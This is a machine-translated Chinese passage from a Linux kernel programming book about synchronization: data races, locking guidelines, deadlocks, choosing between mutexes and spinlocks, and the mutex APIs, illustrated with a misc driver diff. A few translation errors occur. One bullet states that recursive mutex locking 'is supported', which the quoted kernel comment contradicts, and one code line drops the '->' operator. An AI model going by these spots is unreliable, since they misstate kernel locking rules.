现在,想象一个具有四个 CPU 核心(SMP 系统)的系统;两个用户空间进程,P1(运行在 CPU 0 上)和 P2(运行在 CPU 2 上),可以同时打开设备文件并同时发出read(2)系统调用。现在,两个进程将同时执行驱动程序的读取“方法”,因此同时处理共享的可写数据!这(在t2t3之间的代码)是一个关键部分,由于我们违反了基本的排他性规则 - 关键部分必须由单个线程在任何时间点执行 - 我们很可能会破坏数据、应用程序,甚至更糟。

换句话说,这现在是一个数据竞争;取决于微妙的时间巧合,我们可能会或可能不会产生错误(bug)。这种不确定性 - 微妙的时间巧合 - 正是使得像这样找到和修复错误变得极其困难的原因(它可能逃脱了您的测试努力)。

这句格言太不幸地是真的:测试可以检测到错误的存在,但不能检测到它们的缺失。更糟糕的是,如果您的测试未能捕捉到竞争(和错误),那么它们将在现场自由发挥。

您可能会觉得,由于您的产品是运行在单个 CPU 核心(UP)上的小型嵌入式系统,因此关于控制并发性(通常通过锁定)的讨论对您不适用。我们不这么认为:几乎所有现代产品,如果尚未,都将转向多核(也许是在它们的下一代阶段)。更重要的是,即使是 UP 系统也存在并发性问题,我们将在接下来的部分中探讨。

可抢占内核,阻塞 I/O 和数据竞争

想象一下,您正在运行配置为可抢占的 Linux 内核的内核模块或驱动程序(即CONFIG_PREEMPT已打开;我们在配套指南Linux 内核编程第十章 CPU 调度器-第一部分中涵盖了这个主题)。考虑一个进程 P1,在进程上下文中运行驱动程序的读取方法代码,正在处理全局数组。现在,在关键部分内(在时间t2t3之间),如果内核抢占了进程 P1 并上下文切换到另一个进程 P2,后者正好在等待执行这个代码路径?这是危险的,同样是数据竞争。这甚至可能发生在 UP 系统上!

另一个有些类似的情景(同样,可能发生在单核(UP)或多核系统上):进程 P1 正在通过驱动程序方法的关键部分运行(在时间t2t3之间;再次参见图 6.5)。这一次,如果在关键部分中遇到了阻塞调用呢?

阻塞调用是一个导致调用进程上下文进入休眠状态,等待事件发生的函数;当事件发生时,内核将“唤醒”任务,并从上次中断的地方恢复执行。这也被称为 I/O 阻塞,非常常见;许多 API(包括几个用户空间库和系统调用,以及几个内核 API)天生就是阻塞的。在这种情况下,进程 P1 实际上是从 CPU 上上下文切换并进入休眠状态,这意味着schedule()的代码运行并将其排队到等待队列。

在 P1 被切换回来之前,如果另一个进程 P2 被调度运行怎么办?如果该进程也在运行这个特定的代码路径怎么办?想一想-当 P1 回来时,共享数据可能已经在“它下面”发生了变化,导致各种错误;再次,数据竞争,一个错误!

硬件中断和数据竞争

最后,设想这种情况:进程 P1 再次无辜地运行驱动程序的读取方法代码;它进入了临界区(在时间t2t3之间;再次参见图 6.5)。它取得了一些进展,但然后,哎呀,硬件中断触发了(在同一个 CPU 上)!在 Linux 操作系统上,硬件(外围)中断具有最高优先级;它们默认情况下会抢占任何代码(包括内核代码)。因此,进程(或线程)P1 将至少暂时被搁置,从而失去处理器;中断处理代码将抢占它并运行。

你可能会想,那又怎样呢?确实,这是一个非常普遍的情况!在现代系统上,硬件中断非常频繁地触发,有效地(字面上)中断了各种任务上下文(在你的 shell 上快速执行vmstat 3system标签下的列显示了你的系统在过去 1 秒内触发的硬件中断的数量!)。要问的关键问题是:中断处理代码(无论是硬中断的顶半部分还是所谓的任务 let 或软中断的底半部分,无论哪个发生了),是否共享并处理了它刚刚中断的进程上下文的相同共享可写数据?

如果这是真的,那么,休斯顿,我们有一个问题-数据竞争!如果不是,那么你中断的代码对于中断代码路径来说不是一个临界区,那就没问题。事实上,大多数设备驱动程序确实处理中断;因此,驱动程序作者(你!)有责任确保没有全局或静态数据-实际上,没有临界区-在进程上下文和中断代码路径之间共享。如果有(这确实会发生),你必须以某种方式保护这些数据,以防数据竞争和可能的损坏。

这些情景可能会让你觉得,在面对这些并发问题时保护数据安全是一个非常艰巨的任务;你究竟如何在存在临界区的情况下确保数据安全,以及各种可能的并发问题?有趣的是,实际的 API 并不难学习使用;我们再次强调识别临界区是关键。

关于锁(概念上)的工作原理,锁定指南(非常重要;我们很快会对它们进行总结),以及死锁的类型和如何预防死锁,都在我早期的书籍《Linux 系统编程实践(Packt,2018 年 10 月)》中有所涉及。这本书在第十五章“使用 Pthreads 进行多线程编程第二部分-同步”中详细介绍了这些要点。

话不多说,让我们深入探讨主要的同步技术,以保护我们的临界区-锁定。

锁定指南和死锁

锁定本质上是一个复杂的问题;它往往会引发复杂的交叉锁定场景。不充分理解它可能会导致性能问题和错误-死锁、循环依赖、中断不安全的锁定等。以下锁定指南对确保使用锁定时编写正确的代码至关重要:

  • 锁定粒度:锁定和解锁之间的“距离”(实际上是临界区的长度)不应该是粗粒度的(临界区太长),它应该是“足够细”; 这是什么意思?下面的要点解释了这一点:

  • 在这里你需要小心。在处理大型项目时,保持过少的锁是一个问题,保持过多的锁也是一个问题!过少的锁可能会导致性能问题(因为相同的锁被重复使用,因此很容易受到高度争用)。

  • 拥有大量锁实际上对性能有好处,但对复杂性控制不利。这也导致另一个关键点的理解:在代码库中有许多锁时,您应该非常清楚哪个锁保护哪个共享数据对象。如果您在代码路径中使用,例如lockA来保护mystructX,但在远处的代码路径(也许是中断处理程序)中忘记了这一点,并尝试在相同的结构上使用其他锁,lockB来保护!现在这些事情可能听起来很明显,但(有经验的开发人员知道),在足够的压力下,即使明显的事情也不总是明显的!

  • 尝试平衡事物。在大型项目中,使用一个锁来保护一个全局(共享)数据结构是典型的。(命名好锁变量本身可能成为一个大问题!这就是为什么我们将保护数据结构的锁放在其中作为成员。)

  • 锁定顺序至关重要;锁必须以相同的顺序获取,并且其顺序应该由所有参与项目开发的开发人员记录和遵循(注释锁也很有用;在下一章节关于lockdep的部分中会更多介绍)。不正确的锁定顺序经常导致死锁。

  • 尽量避免递归锁定。

  • 注意防止饥饿;验证一旦获取锁,确实会“足够快”释放。

  • 简单是关键:尽量避免复杂性或过度设计,特别是涉及锁的复杂情况。

在锁定的话题上,(危险的)死锁问题出现了。死锁是无法取得任何进展;换句话说,应用程序和/或内核组件似乎无限期地挂起。虽然我们不打算在这里深入研究死锁的可怕细节,但我会快速提到一些可能发生的常见死锁情况类型:

  • 简单情况,单个锁,进程上下文:

  • 我们尝试两次获取相同的锁;这会导致自死锁

  • 简单情况,多个(两个或更多)锁,进程上下文 - 一个例子:

  • 在 CPU 0上,线程 A 获取锁 A,然后想要获取锁 B。

  • 同时,在 CPU 1上,线程 B 获取锁 B,然后想要获取锁 A。

  • 结果是死锁,通常称为AB-BA 死锁

  • 它可以被扩展;例如,AB-BC-CA 循环依赖(A-B-C 锁链)会导致死锁。

  • 复杂情况,单个锁,进程和中断上下文:

  • 锁 A 在中断上下文中获取。

  • 如果发生中断(在另一个核心上),并且处理程序试图获取锁 A,会发生死锁!因此,在中断上下文中获取的锁必须始终与中断禁用一起使用。(如何?当我们涵盖自旋锁时,我们将更详细地讨论这个问题。)

  • 更复杂的情况,多个锁,进程和中断(硬中断和软中断)上下文

在更简单的情况下,始终遵循锁定顺序指南就足够了:始终以有记录的顺序获取和释放锁(我们将在内核代码中的使用互斥锁部分提供一个示例)。然而,这可能变得非常复杂;复杂的死锁情况甚至会让经验丰富的开发人员感到困惑。幸运的是,lockdep - Linux 内核的运行时锁依赖验证器 - 可以捕捉每一个死锁情况!(不用担心 - 我们会到那里的:我们将在下一章节详细介绍 lockdep)。当我们涵盖自旋锁(使用自旋锁部分)时,我们将遇到类似于先前提到的进程和/或中断上下文情况;在那里明确了要使用的自旋锁类型。

关于死锁,Steve Rostedt 在 2011 年的 Linux Plumber's Conference 上对 lockdep 进行了非常详细的介绍;相关幻灯片内容丰富,探讨了简单和复杂的死锁场景,以及 lockdep 如何检测它们(blog.linuxplumbersconf.org/2011/ocw/sessions/153)。

另外,现实情况是,不仅是死锁,甚至活锁情况也可能同样致命!活锁本质上是一种类似于死锁的情况;只是参与任务的状态是运行而不是等待。例如,中断“风暴”可能导致活锁;现代网络驱动程序通过关闭中断(在中断负载下)并采用一种称为新 API;切换中断NAPI)的轮询技术来减轻这种效应(在适当时重新打开中断;好吧,实际情况比这更复杂,但我们就到此为止)。

对于那些生活在石头下的人,你会知道 Linux 内核有两种主要类型的锁:互斥锁和自旋锁。实际上,还有几种类型,包括其他同步(和“无锁”编程)技术,所有这些都将在本章和下一章中涵盖。

互斥锁还是自旋锁?在何时使用

学习使用互斥锁和自旋锁的确切语义非常简单(在内核 API 集中有适当的抽象,使得对于典型的驱动程序开发人员或模块作者来说更容易)。在这种情况下的关键问题是一个概念性的问题:两种锁之间的真正区别是什么?更重要的是,在什么情况下应该使用哪种锁?你将在本节中找到这些问题的答案。

以前的驱动程序读取方法的伪代码(图 6.5)作为基本示例,假设三个线程 - tAtBtC - 在并行运行(在 SMP 系统上)通过这段代码。我们将通过在关键部分开始之前获取锁或获取锁来解决这个并发问题,同时避免任何数据竞争,并在关键部分代码路径结束后释放锁(解锁)(时间t3)。让我们再次看一下伪代码,这次使用锁定以确保它是正确的:

图 6.6 - 伪代码 - 驱动程序读取方法中的关键部分;正确,带锁

当三个线程尝试同时获取锁时,系统保证只有一个线程会获得它。假设tB(线程 B)获得了锁:现在它是“获胜者”或“所有者”线程。这意味着线程tAtC是“失败者”;他们会等待解锁!一旦“获胜者”(tB)完成关键部分并解锁锁,之前的失败者之间的战斗就会重新开始;其中一个将成为下一个获胜者,进程重复。

两种锁类型之间的关键区别 - 互斥锁和自旋锁 - 基于失败者等待解锁的方式。使用互斥锁,失败者线程会进入睡眠;也就是说,它们通过睡眠等待。一旦获胜者执行解锁,内核就会唤醒失败者(所有失败者)并重新运行,再次竞争锁。(事实上,互斥锁和信号量有时被称为睡眠锁。)

然而,使用自旋锁,没有睡眠的问题;失败者会在锁上自旋等待,直到它被解锁。从概念上看,情况如下:

while (locked) ;

请注意,这仅仅是概念性的。想一想——这实际上是轮询。然而,作为一个优秀的程序员,你会明白,轮询通常被认为是一个不好的主意。那么,自旋锁为什么会这样工作呢?嗯,它并不是这样的;它只是以这种方式呈现出来是为了概念上的目的。正如你很快会明白的,自旋锁只在多核(SMP)系统上才有意义。在这样的系统上,当获胜的线程离开并运行关键部分的代码时,失败者会在其他 CPU 核上旋转等待!实际上,在实现层面,用于实现现代自旋锁的代码是高度优化的(并且特定于体系结构),并不是通过简单地“自旋”来工作(例如,许多 ARM 的自旋锁实现使用等待事件WFE)机器语言指令,这使得 CPU 在低功耗状态下等待;请参阅进一步阅读部分,了解有关自旋锁内部实现的几个资源)。

在理论上确定使用哪种锁

自旋锁的实现方式实际上并不是我们关心的重点;自旋锁的开销比互斥锁更低对我们来说是有兴趣的。为什么呢?实际上很简单:为了使互斥锁工作,失败者线程必须休眠。为了做到这一点,内部调用了schedule()函数,这意味着失败者将互斥锁 API 视为一个阻塞调用!对调度程序的调用最终将导致处理器被上下文切换。相反,当所有者线程解锁锁时,失败者线程必须被唤醒;同样,它将被上下文切换回处理器。因此,互斥锁/解锁操作的最小“成本”是在给定机器上执行两次上下文切换所需的时间。(请参阅下一节中的信息框。)通过再次查看前面的屏幕截图,我们可以确定一些事情,包括在关键部分中花费的时间(“锁定”代码路径);即,t_locked = t3 - t2

假设t_ctxsw代表上下文切换的时间。正如我们所了解的,互斥锁/解锁操作的最小成本是2 * t_ctxsw。现在,假设以下表达式为真:

t_locked < 2 * t_ctxsw

换句话说,如果在关键部分内花费的时间少于两次上下文切换所需的时间,那么使用互斥锁就是错误的,因为这会带来太多的开销;执行元工作的时间比实际工作的时间更多——这种现象被称为抖动。这种精确的用例——非常短的关键部分的存在——在现代操作系统(如 Linux)中经常出现。因此,总的来说,对于短的非阻塞关键部分,使用自旋锁(远远)优于使用互斥锁。

在实践中确定使用哪种锁

因此,在“t_locked < 2 * t_ctxsw”的“规则”下运行在理论上可能很好,但是等等:你真的期望精确地测量每种情况下关键部分的上下文切换时间和花费的时间吗?当然不是——那是相当不现实和迂腐的。

从实际角度来看,可以这样理解:互斥锁通过在解锁时使失败者线程休眠来工作;自旋锁不会(失败者“自旋”)。让我们回顾一下 Linux 内核的一个黄金规则:内核不能在任何类型的原子上下文中休眠(调用schedule())。因此,我们永远不能在中断上下文中使用互斥锁,或者在任何不安全休眠的上下文中使用;然而,使用自旋锁是可以的。让我们总结一下:

  • 关键部分是在原子(中断)上下文中运行,还是在进程上下文中运行,无法休眠? 使用自旋锁。

  • 关键部分是在进程上下文中运行,且在关键部分中需要休眠? 使用互斥锁。

当然,使用自旋锁的开销比使用互斥锁的开销要低;因此,您甚至可以在进程上下文中使用自旋锁(例如我们虚构的驱动程序的读取方法),只要关键部分不会阻塞(休眠)。

[1] 上下文切换所需的时间是不同的;这在很大程度上取决于硬件和操作系统的质量。最近(2018 年 9 月)的测量结果显示,在固定的 CPU 上,上下文切换时间在 1.2 到 1.5us微秒)左右,在没有固定的情况下大约为 2.2 微秒(eli.thegreenplace.net/2018/measuring-context-switching-and-memory-overheads-for-linux-threads/)。

硬件和 Linux 操作系统都有了巨大的改进,因此平均上下文切换时间也有所改善。一篇旧的(1998 年 12 月)Linux Journal 文章确定,在 x86 类系统上,平均上下文切换时间为 19 微秒(微秒),最坏情况下为 30 微秒。

这带来了一个问题,我们如何知道代码当前是在进程上下文还是中断上下文中运行?很简单:我们的PRINT_CTX()宏(在我们的convenient.h头文件中)可以显示这一点:

if (in_task())
    /* we're in process context (usually safe to sleep / block) */
else
    /* we're in an atomic or interrupt context (cannot sleep / block) */

现在您了解了何时使用互斥锁或自旋锁,让我们进入实际用法。我们将从如何使用互斥锁开始!

使用互斥锁

如果关键部分可以休眠(阻塞),则互斥锁也称为可休眠或阻塞互斥排他锁。它们必须不在任何类型的原子或中断上下文(顶半部,底半部,如 tasklets 或 softirqs 等),内核定时器,甚至不允许阻塞的进程上下文中使用。

初始化互斥锁

互斥锁“对象”在内核中表示为struct mutex数据结构。考虑以下代码:

#include <linux/mutex.h>
struct mutex mymtx;

要使用互斥锁,必须将其显式初始化为未锁定状态。可以使用DEFINE_MUTEX()宏静态地(声明并初始化对象)进行初始化,也可以通过mutex_init()函数动态进行初始化(这实际上是对__mutex_init()函数的宏包装)。

例如,要声明并初始化名为mymtx的互斥锁对象,我们可以使用DEFINE_MUTEX(mymtx);

我们也可以动态地执行此操作。为什么要动态执行?通常,互斥锁是它所保护的(全局)数据结构的成员(聪明!)。例如,假设我们在驱动程序代码中有以下全局上下文结构(请注意,此代码是虚构的):

struct mydrv_priv {
    <member 1>
    <member 2>
    [...]
    struct mutex mymtx; /* protects access to mydrv_priv */
    [...]
};

然后,在您的驱动程序(或 LKM)的init方法中,执行以下操作:

static int init_mydrv(struct mydrv_priv *drvctx)
{
    [...]
    mutex_init(drvctx-mymtx);
    [...]
}

将锁变量作为(父)数据结构的成员保护是 Linux 中常用的(聪明)模式;这种方法还有一个额外的好处,即避免命名空间污染,并且清楚地说明哪个互斥锁保护哪个共享数据项(这可能是一个比起初看起来更大的问题,尤其是在像 Linux 内核这样的庞大项目中!)。

将保护全局或共享数据结构的锁作为该数据结构的成员。

正确使用互斥锁

通常,您可以在内核源树中找到非常有见地的注释。这里有一个很好的总结了您必须遵循的规则以正确使用互斥锁的注释;请仔细阅读:

// include/linux/mutex.h
/*
 * Simple, straightforward mutexes with strict semantics:
 *
 * - only one task can hold the mutex at a time
 * - only the owner can unlock the mutex
 * - multiple unlocks are not permitted
 * - recursive locking is not permitted
 * - a mutex object must be initialized via the API
 * - a mutex object must not be initialized via memset or copying
 * - task may not exit with mutex held
 * - memory areas where held locks reside must not be freed
 * - held mutexes must not be reinitialized
 * - mutexes may not be used in hardware or software interrupt
 * contexts such as tasklets and timers
 *
 * These semantics are fully enforced when DEBUG_MUTEXES is
 * enabled. Furthermore, besides enforcing the above rules, the mutex
 * [ ... ]

作为内核开发人员,您必须了解以下内容:

  • 关键部分导致代码路径被串行化,破坏了并行性。因此,至关重要的是尽量保持关键部分的时间尽可能短。与此相关的是锁定数据,而不是代码

  • 尝试重新获取已经获取(锁定)的互斥锁 - 这实际上是递归锁定 - 是支持的,并且会导致自死锁。

  • 锁定顺序:这是防止危险死锁情况的一个非常重要的经验法则。在存在多个线程和多个锁的情况下,关键的是记录锁被获取的顺序,并且所有参与项目开发的开发人员都严格遵循。实际的锁定顺序本身并不是不可侵犯的,但一旦决定了,就必须遵循。在浏览内核源代码时,您会发现许多地方,内核开发人员确保这样做,并且(通常)为其他开发人员编写注释以便查看和遵循。这是来自 slab 分配器代码(mm/slub.c)的一个示例注释:

/*
 * Lock order:
 * 1\. slab_mutex (Global Mutex)
 * 2\. node-list_lock
 * 3\. slab_lock(page) (Only on some arches and for debugging)

现在我们从概念上理解了互斥锁的工作原理(并且了解了它们的初始化),让我们学习如何使用锁定/解锁 API。

互斥锁定和解锁 API 及其用法

互斥锁的实际锁定和解锁 API 如下。以下代码分别显示了如何锁定和解锁互斥锁:

void __sched mutex_lock(struct mutex *lock);
void __sched mutex_unlock(struct mutex *lock);

(这里忽略__sched;这只是一个编译器属性,使得这个函数在WCHAN输出中消失,在 procfs 中显示,并且在ps(1)的某些选项开关(如-l)中显示)。

同样,在kernel/locking/mutex.c中的源代码中的注释非常详细和描述性;我鼓励您更详细地查看这个文件。我们在这里只显示了其中的一些代码,这些代码直接来自 5.4 Linux 内核源代码树:

// kernel/locking/mutex.c
[ ... ]
/**
 * mutex_lock - acquire the mutex
 * @lock: the mutex to be acquired
 *
 * Lock the mutex exclusively for this task. If the mutex is not
 * available right now, it will sleep until it can get it.
 *
 * The mutex must later on be released by the same task that
 * acquired it. Recursive locking is not allowed. The task
 * may not exit without first unlocking the mutex. Also, kernel
 * memory where the mutex resides must not be freed with
 * the mutex still locked. The mutex must first be initialized
 * (or statically defined) before it can be locked. memset()-ing
 * the mutex to 0 is not allowed.
 *
 * (The CONFIG_DEBUG_MUTEXES .config option turns on debugging
 * checks that will enforce the restrictions and will also do
 * deadlock debugging)
 *
 * This function is similar to (but not equivalent to) down().
 */
void __sched mutex_lock(struct mutex *lock)
{
    might_sleep();

    if (!__mutex_trylock_fast(lock))
        __mutex_lock_slowpath(lock);
}
EXPORT_SYMBOL(mutex_lock);

might_sleep()是一个具有有趣调试属性的宏;它捕捉到了本应在原子上下文中执行但实际上没有执行的代码!所以,请思考一下:might_sleep()mutex_lock()中的第一行代码,这意味着这段代码路径不应该被任何处于原子上下文中的东西执行,因为它可能会睡眠。这意味着只有在安全睡眠时才应该在进程上下文中使用互斥锁!

一个快速而重要的提醒:Linux 内核可以配置大量的调试选项;在这种情况下,CONFIG_DEBUG_MUTEXES配置选项将帮助您捕捉可能的与互斥锁相关的错误,包括死锁。同样,在 Kernel Hacking 菜单下,您将找到大量与调试相关的内核配置选项。我们在配套指南Linux Kernel Programming - Chapter 5Writing Your First Kernel Module – LKMs Part 2中讨论了这一点。关于锁调试,有几个非常有用的内核配置,我们将在下一章中介绍,在内核中的锁调试部分。

互斥锁 - 通过[不]可中断的睡眠?

和往常一样,互斥锁比我们迄今所见到的更复杂。您已经知道 Linux 进程(或线程)在状态机的各种状态之间循环。在 Linux 上,睡眠有两种离散状态 - 可中断睡眠和不可中断睡眠。处于可中断睡眠状态的进程(或线程)是敏感的,这意味着它将响应用户空间信号,而处于不可中断睡眠状态的任务对用户信号不敏感。

在具有底层驱动程序的人机交互应用程序中,通常的经验法则是,您应该将一个进程放入可中断的睡眠状态(当它在锁上阻塞时),这样就由最终用户决定是否通过按下Ctrl + C(或某种涉及信号的机制)来中止应用程序。在类 Unix 系统上通常遵循的设计规则是:提供机制,而不是策略。话虽如此,在非交互式代码路径上,通常情况下,您必须等待锁来无限期地等待,语义上,已传递给任务的信号不应中止阻塞等待。在 Linux 上,不可中断的情况是最常见的情况。

因此,这里的问题是:mutex_lock() API 总是将调用任务置于不可中断的睡眠状态。如果这不是你想要的,使用mutex_lock_interruptible() API 将调用任务置于可中断的睡眠状态。在语法上有一个不同之处;后者在成功时返回整数值0,在失败时返回-EINTR(记住0/-E返回约定)(由于信号中断)。

一般来说,使用mutex_lock()比使用mutex_lock_interruptible()更快;当临界区很短时使用它(因此几乎可以保证锁定时间很短,这是一个非常理想的特性)。

5.4.0 内核包含超过 18,500 个mutex_lock()和 800 多个mutex_lock_interruptible() API 的调用实例;你可以通过内核源树上强大的cscope(1)实用程序来检查这一点。

理论上,内核提供了mutex_destroy() API。这是mutex_init()的相反操作;它的工作是将互斥锁标记为不可用。只有在互斥锁处于未锁定状态时才能调用它,一旦调用,互斥锁就不能再使用。这有点理论性,因为在常规系统上,它只是一个空函数;只有在启用了CONFIG_DEBUG_MUTEXES的内核上,它才变成实际的(简单的)代码。因此,当使用互斥锁时,我们应该使用这种模式,如下面的伪代码所示:

DEFINE_MUTEX(...);        // init: initialize the mutex object
/* or */ mutex_init();
[ ... ]
    /* critical section: perform the (mutex) locking, unlocking */
    mutex_lock[_interruptible]();
    << ... critical section ... >>
    mutex_unlock();
    mutex_destroy();      // cleanup: destroy the mutex object

现在你已经学会了如何使用互斥锁 API,让我们把这些知识付诸实践。在下一节中,我们将在之前的一个(编写不好 - 没有保护!)“misc”驱动程序的基础上,通过使用互斥对象来锁定必要的临界区来构建。

互斥锁定 - 一个示例驱动程序

我们在第一章 - 编写一个简单的 misc 字符设备驱动程序中创建了一个简单的设备驱动程序示例,即ch1/miscdrv_rdwr。在那里,我们编写了一个简单的misc类字符设备驱动程序,并使用了一个用户空间实用程序(ch12/miscdrv_rdwr/rdwr_drv_secret.c)来从设备驱动程序的内存中读取和写入一个(所谓的)秘密。

然而,在那段代码中,我们明显(egregiously 是正确的词!)未能保护共享(全局)可写数据!这在现实世界中会让我们付出昂贵的代价。我敦促你花些时间考虑一下:两个(或三个或更多)用户模式进程打开该驱动程序的设备文件,然后同时发出各种 I/O 读写是不可行的。在这里,全局共享可写数据(在这种特殊情况下,两个全局整数和驱动程序上下文数据结构)很容易被破坏。

因此,让我们从错误中吸取教训,并通过复制这个驱动程序(我们现在将其称为ch12/1_miscdrv_rdwr_mutexlock/1_miscdrv_rdwr_mutexlock.c)并重写其中的一些部分来纠正错误。关键点是我们必须使用互斥锁来保护所有关键部分。而不是在这里显示代码(毕竟,它在这本书的 GitHub 存储库中github.com/PacktPublishing/Linux-Kernel-Programming,请使用git clone!),让我们做一些有趣的事情:让我们看一下旧的未受保护版本和新的受保护代码版本之间的“diff”(diff(1)生成的差异 - )的输出在这里已经被截断:

$ pwd
<.../ch12/1_miscdrv_rdwr_mutexlock
$ diff -u ../../ch12/miscdrv_rdwr/miscdrv_rdwr.c miscdrv_rdwr_mutexlock.c>> miscdrv_rdwr.patch
$ cat miscdrv_rdwr.patch
[ ... ]
+#include <linux/mutex.h> // mutex lock, unlock, etc
 #include "../../convenient.h"
[ ... ] 
-#define OURMODNAME "miscdrv_rdwr"
+#define OURMODNAME "miscdrv_rdwr_mutexlock"

+DEFINE_MUTEX(lock1); // this mutex lock is meant to protect the integers ga and gb
[ ... ]
+     struct mutex lock; // this mutex protects this data structure
 };
[ ... ]

在这里,我们可以看到在驱动程序的更新的安全版本中,我们声明并初始化了一个名为lock1的互斥变量;我们将用它来保护(仅用于演示目的)驱动程序中的两个全局整数gagb。接下来,重要的是,在“驱动程序上下文”数据结构drv_ctx中声明了一个名为lock的互斥锁;这将用于保护对该数据结构成员的任何访问。它在init代码中初始化:

+     mutex_init(&ctx->lock);
+
+     /* Initialize the "secret" value :-) */
      strscpy(ctx->oursecret, "initmsg", 8);
-     dev_dbg(ctx->dev, "A sample print via the dev_dbg(): driver initialized\n");
+     /* Why don't we protect the above strscpy() with the mutex lock?
+      * It's working on shared writable data, yes?
+      * Yes, BUT this is the init code; it's guaranteed to run in exactly
+      * one context (typically the insmod(8) process), thus there is
+      * no concurrency possible here. The same goes for the cleanup
+      * code path.
+      */

这个详细的注释清楚地解释了为什么我们不需要在strscpy()周围进行锁定/解锁。再次强调,这应该是显而易见的,但是局部变量隐式地对每个进程上下文都是私有的(因为它们驻留在该进程或线程的内核模式堆栈中),因此不需要保护(每个线程/进程都有一个变量的单独实例,所以没有人会干涉别人的工作!)。在我们忘记之前,清理代码路径(通过rmmod(8)进程上下文调用)必须销毁互斥锁:

-static void __exit miscdrv_rdwr_exit(void)
+static void __exit miscdrv_exit_mutexlock(void)
 {
+     mutex_destroy(&lock1);
+     mutex_destroy(&ctx->lock);
      misc_deregister(&llkd_miscdev);
 }

现在,让我们看一下驱动程序的打开方法的差异:

+
+     mutex_lock(&lock1);
+     ga++; gb--;
+     mutex_unlock(&lock1);
+
+     dev_info(dev, " filename: \"%s\"\n"
      [ ... ]

这是我们操纵全局整数的地方,使其成为关键部分;与程序的先前版本不同,在这里,我们使用lock1互斥锁保护这个关键部分。所以,关键部分就是这里的代码ga++; gb--;:在(互斥)锁定和解锁操作之间的代码。

但是(总是有一个但是,不是吗?),一切并不顺利!看一下mutex_unlock()代码行后面的printk函数(dev_info()):

+ dev_info(dev, " filename: \"%s\"\n"
+         " wrt open file: f_flags = 0x%x\n"
+         " ga = %d, gb = %d\n",
+         filp->f_path.dentry->d_iname, filp->f_flags, ga, gb);

这对你来说看起来还好吗?不,仔细看:我们正在读取全局整数gagb的值。回想一下基本原理:在并发存在的情况下(在这个驱动程序的打开方法中肯定是可能的),即使没有锁定,读取共享可写数据也可能是不安全的。如果这对你来说没有意义,请想一想:如果一个线程正在读取整数,同时另一个线程正在更新(写入)它们;那么呢?这种情况被称为脏读(或断裂读);我们可能会读取过时的数据,必须加以保护。(事实上,这并不是一个真正的脏读的很好的例子,因为在大多数处理器上,读取和写入单个整数项目确实 tend to be an atomic operation。然而,我们不应该假设这样的事情 - 我们只需要做好我们的工作并保护它。)

实际上,还有另一个类似的潜在错误:我们从打开文件结构(filp指针)中读取数据而没有进行保护(的确,打开文件结构有一个锁;我们应该使用它!我们以后会这样做)。

诸如脏读之类的事情发生的具体语义通常非常依赖于体系结构(机器),然而,我们作为模块或驱动程序的作者的工作是清楚的:我们必须确保保护所有关键部分。这包括对共享可写数据的读取。

目前,我们将把这些标记为潜在的错误(bug)。我们将在使用原子整数操作符部分以更加性能友好的方式处理这个问题。查看驱动程序的读取方法的差异会发现一些有趣的东西(忽略这里显示的行号;它们可能会改变):

图 6.7 - 驱动程序的 read()方法的差异;查看新版本中互斥锁的使用

我们现在使用驱动程序上下文结构的互斥锁来保护关键部分。对于设备驱动程序的关闭(释放)方法也是一样的(生成补丁并查看)。

请注意用户模式应用程序保持不变,这意味着为了测试新的更安全的版本,我们必须继续使用用户模式应用程序ch12/miscdrv_rdwr/rdwr_drv_secret.c。在调试内核上运行和测试此驱动程序代码,其中包含各种锁定错误和死锁检测功能,这是至关重要的(我们将在下一章中返回到这些“调试”功能,在内核中的锁调试部分)。

在前面的代码中,我们在copy_to_user()例程之前获取了互斥锁;这很好。然而,我们只在dev_info()之后释放它。为什么不在这个printk之前释放它,从而缩短关键部分的时间?

仔细观察dev_info(),可以看出为什么它关键部分。我们在这里打印了三个变量的值:secret_len读取的字节数,以及ctx->txctx->rx分别“传输”和“接收”的字节数。secret_len是一个局部变量,不需要保护,但另外两个变量在全局驱动程序上下文结构中,因此需要保护,即使是(可能是脏的)读取也需要。

互斥锁 - 一些剩余的要点

在本节中,我们将涵盖有关互斥锁的一些其他要点。

互斥锁 API 变体

首先,让我们看一下互斥锁 API 的几个变体;除了可中断变体(在互斥锁 - 通过[不]可中断睡眠?部分中描述),我们还有trylock,可杀死io变体。

互斥 trylock 变体

如果你想实现一个忙等待语义;也就是说,测试(互斥)锁的可用性,如果可用(意味着当前未锁定),则获取/锁定它并继续关键部分代码路径?如果不可用(当前处于锁定状态),则不等待锁;而是执行其他工作并重试。实际上,这是一个非阻塞的互斥锁变体,称为 trylock;以下流程图显示了它的工作原理:

图 6.8 - “忙等待”语义,一个非阻塞的 trylock 操作

这个互斥锁的 trylock 变体的 API 如下:

int mutex_trylock(struct mutex *lock);

这个 API 的返回值表示了运行时发生了什么:

  • 返回值1表示成功获取了锁。

  • 返回值0表示当前争用(已锁定)。

尽管尝试使用mutex_trylock() API 来确定互斥锁是处于锁定还是未锁定状态可能听起来很诱人,但不要尝试这样做,因为这本质上是“竞争的”。另外,要注意,在高度竞争的锁路径中使用这个 trylock 变体可能会降低你获取锁的机会。trylock 变体传统上用于死锁预防代码,可能需要退出某个锁定顺序序列并通过另一个序列(顺序)重试。

另外,关于 trylock 变体,尽管文献中使用了术语尝试原子地获取互斥锁,但它不适用于原子或中断上下文——它适用于进程上下文(与任何类型的互斥锁一样)。通常情况下,锁必须由拥有者上下文调用的mutex_unlock()来释放。

我建议你尝试作为练习使用 trylock 互斥锁变体。请参阅本章末尾的问题部分进行作业!

互斥可中断和可杀死变体

正如你已经学到的,当驱动程序(或模块)愿意接受任何(用户空间)信号中断时,会使用mutex_lock_interruptible() API(并返回-ERESTARTSYS告诉内核 VFS 层执行信号处理;用户空间系统调用将以errno设置为EINTR失败)。一个例子可以在内核中的模块处理代码中找到,在delete_module(2)系统调用中(由rmmod(8)调用):

// kernel/module.c
[ ... ]
SYSCALL_DEFINE2(delete_module, const char __user *, name_user,
        unsigned int, flags)
{
    struct module *mod;
    [ ... ]
    if (!capable(CAP_SYS_MODULE) || modules_disabled)
        return -EPERM;
    [ ... ]
    if (mutex_lock_interruptible(&module_mutex) != 0)
 return -EINTR;
    mod = find_module(name);
    [ ... ]
out:
    mutex_unlock(&module_mutex);
    return ret;
}

注意 API 在失败时返回-EINTR。(SYSCALL_DEFINEn()宏成为系统调用签名;n表示这个特定系统调用接受的参数数量。还要注意权限检查——除非你以 root 身份运行或具有CAP_SYS_MODULE权限(或者模块加载完全被禁用),否则系统调用将返回失败(-EPERM)。)

然而,如果你的驱动程序只愿意被致命信号(那些将杀死用户空间上下文的信号)中断,那么使用mutex_lock_killable() API(签名与可中断变体相同)。

